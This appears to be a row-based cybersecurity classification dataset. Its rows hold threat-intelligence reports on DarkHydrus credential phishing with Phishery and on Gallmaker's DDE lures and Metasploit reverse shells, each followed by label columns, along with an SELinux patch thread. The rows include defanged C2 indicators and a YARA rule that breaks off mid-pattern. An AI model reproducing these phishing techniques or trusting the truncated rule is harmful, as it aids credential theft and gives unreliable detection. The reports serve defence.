unfavorable content. Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.). Scan all software downloaded from the Internet prior to executing. Maintain situational awareness of the latest threats and implement appropriate ACLs. Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, Guide to Malware Incident Prevention & Handling for Desktops and Laptops. Contact Information 1-888-282-0870 NCCICCustomerService@us-cert.gov (UNCLASS) us-cert@dhs.sgov.gov (SIPRNET) us-cert@dhs.ic.gov (JWICS) CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.gov/forms/feedback/ Document FAQ What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis. What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis. Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA at 1-888-282-0870 or soc@us-cert.gov. Can I submit malware to CISA? Malware samples can be submitted via three methods: Web: https://malware.us-cert.gov E-Mail: submit@malware.us-cert.gov FTP: ftp.malware.us-cert.gov (anonymous) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA/US-CERT's homepage at www.us-cert.gov. Revisions April 10, 2019: Initial version This product is provided subject to this Notification and this Privacy & Use policy. Was this document helpful? Yes | Somewhat | No Contact Us phone icon(888)282-0870 email iconSend us email lock iconDownload PGP/GPG keys Subscribe to Alerts Receive security alerts, tips, and other updates. Enter your email address Enter your email address twitter iconrss icon Home Site Map FAQ Contact Us Traffic Light Protocol PCII Accountability Disclaimer DHS Privacy Policy FOIA No Fear Act Accessibility Plain Writing Plug-ins Inspector General The White House USA.gov CISA is part of the Department of Homeland Security","1","1","0","0","1","1","1","1","1","0","1","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","1","1","0","0","0","0","1","0","0","0" -"DarkHydrus Uses Phishery to Harvest Credentials in the Middle East Menu Tools Playbooks Speaking Events About Us DarkHydrus Uses Phishery to Harvest Credentials in the Middle East 11,609 people reacted 0 6 min. read Share By Robert Falcone August 7, 2018 at 5:00 AM Category: Unit 42 Tags: DarkHydrus, Phishery Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. These attacks were targeting government entities and educational institutions in the Middle East. The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the \xe2\x80\x9cattachedTemplate\xe2\x80\x9d technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials. Based on Unit 42\xe2\x80\x99s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus\xe2\x80\x99 use of the open source for their attack tools. A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. What is noteworthy is DarkHydrus\xe2\x80\x99 use of an open-source tool to carry out targeted attacks against these entities in the Middle East, which is fitting of their reliance of open source tools and these attacks are consistent in terms of targeting with what we reported last week. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future. \xc2 Credential Harvesting Attack On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East. The attack involved a spear-phishing email with a subject of \xe2\x80\x9cProject Offer\xe2\x80\x9d and a malicious Word document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) as an attachment. When opened, the malicious Word document displays a dialog box that asks the user for their credentials, as seen in Figure 1. Figure 1 Authentication dialog box presented to the user when opening document As you can see in Figure 1, the authentication prompt says \xe2\x80\x9cConnecting to . 0utl00k[.]net\xe2\x80\x9d, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses \xe2\x80\x98Ok\xe2\x80\x99, the credentials are sent to the C2 server via the URL https://.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt\xc2 may have made the targeted user more likely\xc2 to enter their credentials, thinking it\xe2\x80\x99s necessary to view the contents of the document. DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Firstly, the redacted subdomain was the domain of the targeted educational institution. Also, the 0utl00k[.]net domain resembles Microsoft\xe2\x80\x99s legitimate \xe2\x80\x9coutlook.com\xe2\x80\x9d domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials. We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year. First Seen SHA256 Filename Remote Template 11/12/2017 9eac37a5c6.. PasswordHandoverForm.docx https://0utl00k[.]net/docs 09/18/2017 0b1d5e1744.. \xd8\xa7\xd8\xb3\xd8\xaa\xd8\xb7\xd9\x84\xd8\xa7\xd8\xb9.docx https://0utl00k[.]net/docs Table 1 Additional DarkHydrus Word documents used to steal credentials Both of these related documents use the attachedTemplate technique to steal credentials by sending them to a URL https://0utl00k[.]net/docs. Unlike the June 2018 document that displayed no content after credential theft, both of these documents displayed content that appears pertinent to the targeted organization. The September 2017 document displays an employee survey, which can be seen in Figure 2. Figure 2 Employee survey displayed after credential theft The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3. We were unable to find the displayed document via open source research, which may suggest that the actor gathered this password handover form from a prior operation. \xc2 Figure 3 Password handover form displayed after credential theft The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150. This same infrastructure was discussed in the Campaign Analysis of our previous blog. \xc2 Phishery Tool While analyzing the three malicious Word documents, we determined that two of the documents were created using an open source tool called Phishery. The Phishery tool is capable of the following: Creating malicious Word documents by injecting a remote template URL Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template We were able to confirm that DarkHydrus used Phishery to create these Word documents by using the open source tool to create a document and host a C2 ourselves. The DarkHydrus document used in the June 2018 attacks had a remote template URL added, as seen in Figure 4. \xc2 Figure 4 Remote template URL seen in the DarkHydrus document from June 2018 We were able to replicate the remote template path seen in Figure 4 by using Phishery to create a weaponized delivery document. Figure 5 shows Phishery\xe2\x80\x99s output to the command that injects a URL into a file named \xe2\x80\x9cgood_test.docx\xe2\x80\x9d, which it will save the resulting file to \xe2\x80\x9cbad_test.docx\xe2\x80\x9d. \xc2 Figure 5 Phishery command used to create a document that has same remote template URL as DarkHydrus To confirm, we used Phishery\xe2\x80\x99s C2 server and opened DarkHydrus\xe2\x80\x99 Word document from the June 2018 attacks. When presented with the authentication dialog box, we entered \xe2\x80\x9cfakename\xe2\x80\x9d and \xe2\x80\x9cfakepass\xe2\x80\x9d as credentials, as seen in Figure 6 and pressed enter. Figure 6 Authentication dialog box with fake credentials entered On the C2 server, we observed Phishery receiving the inbound request and capturing the credentials, as seen in Figure 7. The C2 server was able to obtain the \xe2\x80\x9cfakename\xe2\x80\x9d and \xe2\x80\x9cfakepass\xe2\x80\x9d credentials entered into the authentication dialog box displayed when opening DarkHydrus\xe2\x80\x99 Word document. \xc2 Figure 7 Output of Phishery C2 showing captured credentials Conclusion DarkHydrus is a threat group carrying out attack campaigns targeting organizations in the Middle East. We discovered DarkHydrus carrying out credential harvesting attacks that use weaponized Word documents, which they delivered via spear-phishing emails to entities within government and educational institutions. This threat group not only used the Phishery tool to create these malicious Word documents, but also to host the C2 server to harvest credentials. The use of Phishery further shows Dark Hydrus\xe2\x80\x99 reliance on open source tools to conduct their operations. Palo Alto Networks customers are protected\xc2 from Dark Hydrus by: The C2 server 0utl00k[.]net is classified as Malware All Phishery documents created by DarkHydrus have malicious verdicts in WildFire AutoFocus customers can monitor this threat group\xe2\x80\x99s activity via the DarkHydrus tag \xc2 Indicators of Compromise Samples d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82 \xc2 Infrastructure 0utl00k[.]net 107.175.150[.]113 195.154.41[.]150 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","1","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Gallmaker: New Attack Group Eschews Malware to Live off the Land | Symantec Blogs BlogsMenuMain menu Blogs Home Additional Languages America Latina Portugu\xc3\xaas Japanese Chinese, Simplified Chinese, Traditional Korean Threat Intelligence Feature Stories Expert Perspectives Product Insights Corporate Responsibility Diversity & Inclusion Election Security Search Symantec Connect Symantec Home Security Response Attack Investigation Team FacebookSHARE Posted: 10 Oct, 20186 Min ReadThreat Intelligence SubscribeFollow twitterfacebooklinkedin Gallmaker: New Attack Group Eschews Malware to Live off the Land A new attack group is targeting government, military, and defense sectors in what appears to be a classic espionage campaign. UPDATE October 11, 2018 This\xc2 blog has been updated with a revised list of IoCs. An earlier list of IOCs attached to this blog was generated through an automated system and, due\xc2 to the dual-use nature of the tools used by the group, erroneously included some\xc2 low fidelity IoCs. Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. ""#Gallmaker eschews custom malware, uses living off the land and publicly available hack tools https://symc.ly/2RBkaR8"" Click to Tweet The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018. Tactics and tools The most interesting aspect of Gallmaker\xe2\x80\x99s approach is that the group doesn\xe2\x80\x99t use malware in its operations.\xc2 Rather, the attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools. The group takes a number of steps to gain access to a victim\xe2\x80\x99s device and then deploys several different attack tools, as follows: The group delivers a malicious Office lure document to victims, most likely via a spear-phishing email. These lure documents use titles with government, military, and diplomatic themes, and the file names are written in English or Cyrillic languages. These documents are not very sophisticated, but evidence of infections shows that they\xe2\x80\x99re effective. The attackers use filenames that would be of interest to a variety of targets in Eastern Europe, including: bg embassy list.docx Navy.ro members list.docx These lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange (DDE) protocol in order to gain access to victim machines. When the victim opens the lure document, a warning appears asking victims to \xe2\x80\x9cenable content\xe2\x80\x9d (See Figure 1). Should a user enable this content, the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim\xe2\x80\x99s system. By running solely in memory, the attackers avoid leaving artifacts on disk, which makes their activities difficult to detect. Once the Gallmaker attackers gain access to a device, they execute various tools, including: WindowsRoamingToolsTask: Used to schedule PowerShell scripts and tasks. A ""reverse_tcp"" payload from Metasploit: The attackers use obfuscated shellcode that is executed via PowerShell to download this reverse shell. A legitimate version of the WinZip console: This creates a task to execute commands and communicate with the command-and-control (C&C) server. It\xe2\x80\x99s likely this WinZip console is used to archive data, probably for exfiltration. The Rex PowerShell library, which is publicly available on GitHub, is also seen on victim machines. This library helps create and manipulate PowerShell scripts for use with Metasploit exploits.\xc2 Gallmaker is using three primary IP addresses for its C&C infrastructure to communicate with infected devices. There is also evidence that it is deleting some of its tools from victim machines once it is finished, to hide traces of its activity. Figure 1. An example of the type of warning displayed by the lure document The DDE protocol can be used for legitimate purposes to send messages between Microsoft applications that share data through shared memory, e.g. to share data between Excel and Word.\xc2 However, the DDE protocol was flagged as unsecure last year, when researchers discovered it could be exploited to execute code on victim machines via Excel and Word, without macros being enabled in those applications. Microsoft said at the time that this capability was a feature and the company did not consider it a vulnerability because Office always warned users before enabling DDE in documents, as seen in Figure 1. However, after the DDE protocol was subsequently exploited in a number of malware campaigns, Microsoft issued an update to Office in December 2017 that disabled DDE by default in Word and Excel. DDE can be enabled manually after this update is applied but only if the registry is altered by an admin account. The Gallmaker victims we have seen did not have this patch installed and therefore were still vulnerable to exploit via the DDE protocol. Targets and timeline Gallmaker\xe2\x80\x99s activity appears to be highly targeted, with its victims all related to government, military, or defense sectors. Several targets are embassies of an Eastern European country. The targeted embassies are located in a number of different regions globally, but all have the same home country. The other targets we have seen are a Middle Eastern defense contractor and a military organization. There are no obvious links between the Eastern European and Middle Eastern targets, but it is clear that Gallmaker is specifically targeting the defense, military, and government sectors: its targets appear unlikely to be random or accidental. Gallmaker\xe2\x80\x99s activity has been quite consistent since we started tracking it. The group has carried out attacks most months since December 2017. Its activity subsequently increased in the second quarter of 2018, with a particular spike in April 2018. Figure 2. Gallmaker activity, December 2017 to June 2018 Gallmaker\xe2\x80\x99s activity points strongly to it being a cyber espionage campaign, likely carried out by a state-sponsored group. Gallmaker may well have continued to avoid detection were it not for Symantec\xe2\x80\x99s Targeted Attack Analytics (TAA) technology. How did we discover Gallmaker? The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect. We have written extensively about the increasing use of LotL tools and publicly available hack tools by cyber criminals. One of the primary reasons for the increased popularity of these kinds of tools is to avoid detection; attackers are hoping to \xe2\x80\x9chide in plain sight\xe2\x80\x9d, with their malicious activity hidden in a sea of legitimate processes. Gallmaker may well have continued to avoid detection were it not for Symantec\xe2\x80\x99s Targeted Attack Analytics (TAA) technology. TAA combines the capabilities of Symantec\xe2\x80\x99s world-leading security experts with advanced artificial intelligence and machine learning to provide organizations with their own \xe2\x80\x9cvirtual analysts\xe2\x80\x9d, via our Advanced Threat Protection (ATP) product.\xc2 Since its inception, TAA has detected security incidents at thousands of organizations, automating what would have taken many hours of analyst time. In this instance, TAA identified the specific PowerShell commands used by Gallmaker as being suspicious, leading to the discovery of this new campaign.\xc2 Without TAA\xe2\x80\x99s advanced AI-based capabilities, Gallmaker\xe2\x80\x99s activities may well have remained undetected. Protection The following protections are in place to protect customers against Gallmaker attacks: System Infected: Meterpreter Reverse TCP W97M.Downloader Network protection products also detect activity associated with Gallmaker. Indicators of Compromise The following indicators\xc2 are specific to Gallmaker: Network 111[.]90.149.99/o2 94[.]140.116.124/o2 94[.]140.116.231/o2 Filenames bg embassy list.docx Navy.ro members list.docx \xd0\x91\xd0\x93 \xd0\xb2 \xd1\x87\xd1\x83\xd0\xb6\xd0\xb4\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xbc\xd0\xb5\xd0\xb4\xd0\xb8\xd0\xb8 23.03.2018-1.docx [REDACTED]\xc2 and cae join forces to develop integrated live virtual constructive training solutions.docx \xd0\x90-9237-18-brasil.docx Gallmaker also used tools that were available in open source projects. Yara rule and methods shared below were used by Gallmaker but aren't exclusive to the group's activity. Detection of these in one's environment is only indicative of possible unauthorized activity. Each occurrence of triggers must be examined to determine intent. rule Suspicious_docx { meta: copyright = ""Symantec"" family = ""Suspicious DOCX\xe2\x80\x9d group = ""Gallmaker"" description = ""Suspicious file that might be Gallmaker\xe2\x80\x9d strings: $quote = / (main author) and Klaus Steding-Jessen (co-author). $Date: 2019/09/02 15:14:08 $","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[v3] selinux: restrict kernel module loading - Patchwork Toggle navigation Patchwork SELinux Development list Patches Bundles About this project Login Register Mail settings [v3] selinux: restrict kernel module loading 8754821 diff mbox Message ID 1459886787-19858-1-git-send-email-jeffv@google.com State Accepted Headers show Return-Path: X-Original-To: patchwork-selinux@patchwork.kernel.org Delivered-To: patchwork-parsemail@patchwork2.web.kernel.org Received: from mail.kernel.org (mail.kernel.org [198.145.29.136]) by patchwork2.web.kernel.org (Postfix) with ESMTP id 90958C0553 for ; Tue, 5 Apr 2016 20:08:57 +0000 (UTC) Received: from mail.kernel.org (localhost [127.0.0.1]) by mail.kernel.org (Postfix) with ESMTP id 98F7520138 for ; Tue, 5 Apr 2016 20:08:56 +0000 (UTC) Received: from emvm-gh1-uea08.nsa.gov (emvm-gh1-uea08.nsa.gov [8.44.101.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.kernel.org (Postfix) with ESMTPS id 79BBB200F3 for ; Tue, 5 Apr 2016 20:08:55 +0000 (UTC) X-TM-IMSS-Message-ID: <0b1fdadf00083b3e@nsa.gov> Received: from tarius.tycho.ncsc.mil ([144.51.242.1]) by nsa.gov ([10.208.42.193]) with ESMTP (TREND IMSS SMTP Service 7.1) id 0b1fdadf00083b3e ; Tue, 5 Apr 2016 16:06:14 -0400 Received: from prometheus.infosec.tycho.ncsc.mil (prometheus [192.168.25.40]) by tarius.tycho.ncsc.mil (8.14.4/8.14.4) with ESMTP id u35K6aiT026322; Tue, 5 Apr 2016 16:06:43 -0400 Received: from tarius.tycho.ncsc.mil (tarius.infosec.tycho.ncsc.mil [144.51.242.1]) by prometheus.infosec.tycho.ncsc.mil (8.15.2/8.15.2) with ESMTP id u35K6XeR036577 for ; Tue, 5 Apr 2016 16:06:33 -0400 Received: from goalie.tycho.ncsc.mil (goalie [144.51.242.250]) by tarius.tycho.ncsc.mil (8.14.4/8.14.4) with ESMTP id u35K6X5x026310 for ; Tue, 5 Apr 2016 16:06:33 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A1DRAABAGgRXcrLAVdFeHAGEarkqgzEFUgcXhXaCEQEBAQEBARMBCgsUH4R1ARUVGQEBNwGBFAEFATUiiAWhHoExPjGKT4UoAQSNMQEBAQEGAhgGCoQNggmIWIJ6C0CCQ45GiUCELYlbAokqhWONXS+BDoJZDRmBbBwwhnoCHgGBHAEBAQ X-IPAS-Result: A1DRAABAGgRXcrLAVdFeHAGEarkqgzEFUgcXhXaCEQEBAQEBARMBCgsUH4R1ARUVGQEBNwGBFAEFATUiiAWhHoExPjGKT4UoAQSNMQEBAQEGAhgGCoQNggmIWIJ6C0CCQ45GiUCELYlbAokqhWONXS+BDoJZDRmBbBwwhnoCHgGBHAEBAQ X-IronPort-AV: E=Sophos;i=""5.24,445,1454994000""; d=""scan'208"";a=""5352955"" Received: from emvm-gh1-uea09.nsa.gov ([10.208.42.194]) by goalie.tycho.ncsc.mil with ESMTP; 05 Apr 2016 16:06:32 -0400 X-TM-IMSS-Message-ID: <56fd9c660007d980@nsa.gov> Received: from mail-pf0-f178.google.com (mail-pf0-f178.google.com [209.85.192.178]) by nsa.gov ([10.208.42.194]) with ESMTP (TREND IMSS SMTP Service 7.1; TLSv1/SSLv3 AES128-SHA (128/128)) id 56fd9c660007d980 ; Tue, 5 Apr 2016 16:05:35 -0400 Received: by mail-pf0-f178.google.com with SMTP id c20so17370168pfc.1 for ; Tue, 05 Apr 2016 13:06:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=XpX6CxEiXbg0t70C3FioSyiVi62RZS91MZkQYxvaBho=; b=oUN6K9sYH6skL1255Dt8DuKXuWnGxVjAqY/aBAcK4YEJpLWYsnBBn0j3pcviQkXJYQ PoPu6EMkJ6oucyeGviN/fEF4C3hllfDGNXPqrRnbgIZJNRlPi2icg/lEn9SFOSIOw8cv pFBOLqob4q3w5ZYV/8nIi/9FnvpI+P6qKIkNBsA0Nftuy/X9oBLsb7LoCQlBi/S3tq9O C8dhV2ZMb/NO/MGngs+GKcUa9+RoOE7oq1QnzG8UqddCCIyugeDUVMxIH2T/vVzblk0i R0WdrOrYNSJBtltgvuCxVhAXBU3VYZNtQw9+N4a+im9ggIkHGaIIk+DUD7qk1HqSVAHX xH3g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id; bh=XpX6CxEiXbg0t70C3FioSyiVi62RZS91MZkQYxvaBho=; b=k7HR4muYJbfj54DROWB4ACfNR9kJfF6ODeV/B9OnnBWDGGFnPGOdyLZJ2aRfEG/n0J qPLUu+WVgjrmlopWotrkLBmqUew2MmCbOpsmD6NzlzCIcR529VldrI7vO9sTNIVC/rfM 5WQwnDUUgRsgf6qX7CiUdu3c+zAeZcI2RkV/SsCMk7MVyJNfbfS34aCVRno5mC756jbG ZZWvmIlX6LUxKFgs+yf66rKZrXHTvhVx+F4bwGmtc29SRoyCHU6Tc2EVLrSFjXEG9qfD jDKRb2uGtbDqEWI+lEkb43jcpuGKJh9AW5l5r+5e1TqFo+8+/lQvdJUsdhIVpBZTZD/y SQCA== X-Gm-Message-State: AD7BkJL9QT6GIqlkgH4ksSGdI+1+V7kqPtRzIoTK+TgT3KfD9p3wBEutrB98LR1aZMawU5A2 X-Received: by 10.98.79.203 with SMTP id f72mr32668655pfj.102.1459886790946; Tue, 05 Apr 2016 13:06:30 -0700 (PDT) Received: from jeffv-linux.mtv.corp.google.com ([172.22.112.85]) by smtp.gmail.com with ESMTPSA id y7sm48725735pfa.82.2016.04.05.13.06.29 (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 05 Apr 2016 13:06:30 -0700 (PDT) From: Jeff Vander Stoep To: selinux@tycho.nsa.gov Subject: [PATCH v3] selinux: restrict kernel module loading Date: Tue, 5 Apr 2016 13:06:27 -0700 Message-Id: <1459886787-19858-1-git-send-email-jeffv@google.com> X-Mailer: git-send-email 2.8.0.rc3.226.g39d4020 X-TM-AS-MML: disable X-BeenThere: selinux@tycho.nsa.gov X-Mailman-Version: 2.1.20 Precedence: list List-Id: ""Security-Enhanced Linux \\(SELinux\\) mailing list"" List-Post: List-Help: Cc: sds@tycho.nsa.gov MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Errors-To: selinux-bounces@tycho.nsa.gov Sender: ""Selinux"" X-Spam-Status: No, score=-2.8 required=5.0 tests=BAYES_00, DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED, RP_MATCHES_RCVD, T_DKIM_INVALID, UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org X-Virus-Scanned: ClamAV using ClamSMTP Commit Message Jeffrey Vander Stoep April 5, 2016, 8:06 p.m. UTC Utilize existing kernel_read_file hook on kernel module load. Add module_load permission to the system class. Enforces restrictions on kernel module origin when calling the finit_module syscall. The hook checks that source type has permission module_load for the target type. Example for finit_module: allow foo bar_file:system module_load; Similarly restrictions are enforced on kernel module loading when calling the init_module syscall. The hook checks that source type has permission module_load with itself as the target object because the kernel module is sourced from the calling process. Example for init_module: allow foo foo:system module_load; Signed-off-by: Jeff Vander Stoep --- v2: The target type for init_module changed from SECINITSID_KERNEL to the same type as the source. v3: Use inode_security() to ensure inode's label is revalidated. security/selinux/hooks.c | 46 +++++++++++++++++++++++++++++++++++++ security/selinux/include/classmap.h | 2 +- 2 files changed, 47 insertions(+), 1 deletion(-) Comments Paul Moore April 5, 2016, 8:20 p.m. UTC | #1 On Tuesday, April 05, 2016 01:06:27 PM Jeff Vander Stoep wrote: > Utilize existing kernel_read_file hook on kernel module load. > Add module_load permission to the system class. > > Enforces restrictions on kernel module origin when calling the > finit_module syscall. The hook checks that source type has > permission module_load for the target type. > Example for finit_module: > > allow foo bar_file:system module_load; > > Similarly restrictions are enforced on kernel module loading when > calling the init_module syscall. The hook checks that source > type has permission module_load with itself as the target object > because the kernel module is sourced from the calling process. > Example for init_module: > > allow foo foo:system module_load; > > Signed-off-by: Jeff Vander Stoep > --- > v2: The target type for init_module changed from SECINITSID_KERNEL > to the same type as the source. > v3: Use inode_security() to ensure inode's label is revalidated. Merged, thanks for your patience. I had to do one minor fixup to resolve a problem at compile time, see below. > diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c > index 3fa3ca5..231c897 100644 > --- a/security/selinux/hooks.c > +++ b/security/selinux/hooks.c ... > +static selinux_kernel_read_file(struct file *file, enum kernel_read_file_id > id) You're missing the return type :) No need to resend, I fixed it when merging your patch, see the selinux#next branch. Jeffrey Vander Stoep April 5, 2016, 8:27 p.m. UTC | #2 > > You're missing the return type :) No need to resend, I fixed it when > merging > your patch, see the selinux#next branch. > Thanks for catching that. Dennis Sherrell April 6, 2016, 9:54 a.m. UTC | #3 Hello Jeff, We are a Wireless Consulting Firm conducting research for a U.S. Health and Human Services Grant. We require Secure Mobile Devices. How much is a license for Google Android SELinux and where do i go for the config? Dennis Sherrell Sherrell Consulting Company #136601 Wireless Security Consultant Cisco Certified Wireless Specialist DISA Mobile Device Administartor On Tue, Apr 5, 2016, 1:33 PM Jeffrey Vander Stoep wrote: > You're missing the return type :) No need to resend, I fixed it when >> merging >> your patch, see the selinux#next branch. >> > > Thanks for catching that. > > _______________________________________________ > Selinux mailing list > Selinux@tycho.nsa.gov > To unsubscribe, send email to Selinux-leave@tycho.nsa.gov. > To get help, send an email containing ""help"" to > Selinux-request@tycho.nsa.gov. William Roberts April 6, 2016, 12:42 p.m. UTC | #4 On Apr 6, 2016 03:01, ""Dennis Sherrell"" wrote: > > Hello Jeff, > > We are a Wireless Consulting Firm conducting research for a U.S. Health and Human Services Grant. We require Secure Mobile Devices. How much is a license for Google Android SELinux and where do i go for the config? It's all open source in the aosp (Android Open Source Project) project. There is essentially two paths you can go, Android branding and non Android branding. An example of non-Android branded devices would be Amazon's Kindle line or the Silent circle black phone. Also there are popular aftermarket software ROMs based on aosp, like Cyanogenmod. If you want branding, then you have to go through Google since they own the brand, they have various programs for that. This page might help provide more detail: https://source.android.com/compatibility/index.html The only parts that are generally not available in the open are the proprietary drivers that bridge Android to the hardware. You can download aosp at https://source.android.com/source/downloading.html > > Dennis Sherrell > Sherrell Consulting > Company #136601 > Wireless Security Consultant > Cisco Certified Wireless Specialist > DISA Mobile Device Administartor > > > On Tue, Apr 5, 2016, 1:33 PM Jeffrey Vander Stoep wrote: >>> >>> You're missing the return type :) No need to resend, I fixed it when merging >>> your patch, see the selinux#next branch. >> >> >> Thanks for catching that. >> >> _______________________________________________ >> Selinux mailing list >> Selinux@tycho.nsa.gov >> To unsubscribe, send email to Selinux-leave@tycho.nsa.gov. >> To get help, send an email containing ""help"" to Selinux-request@tycho.nsa.gov. > > > _______________________________________________ > Selinux mailing list > Selinux@tycho.nsa.gov > To unsubscribe, send email to Selinux-leave@tycho.nsa.gov. > To get help, send an email containing ""help"" to Selinux-request@tycho.nsa.gov. William Roberts April 6, 2016, 1:16 p.m. UTC | #5 On Apr 6, 2016 5:42 AM, ""William Roberts"" wrote: > > > On Apr 6, 2016 03:01, ""Dennis Sherrell"" wrote: > > > > Hello 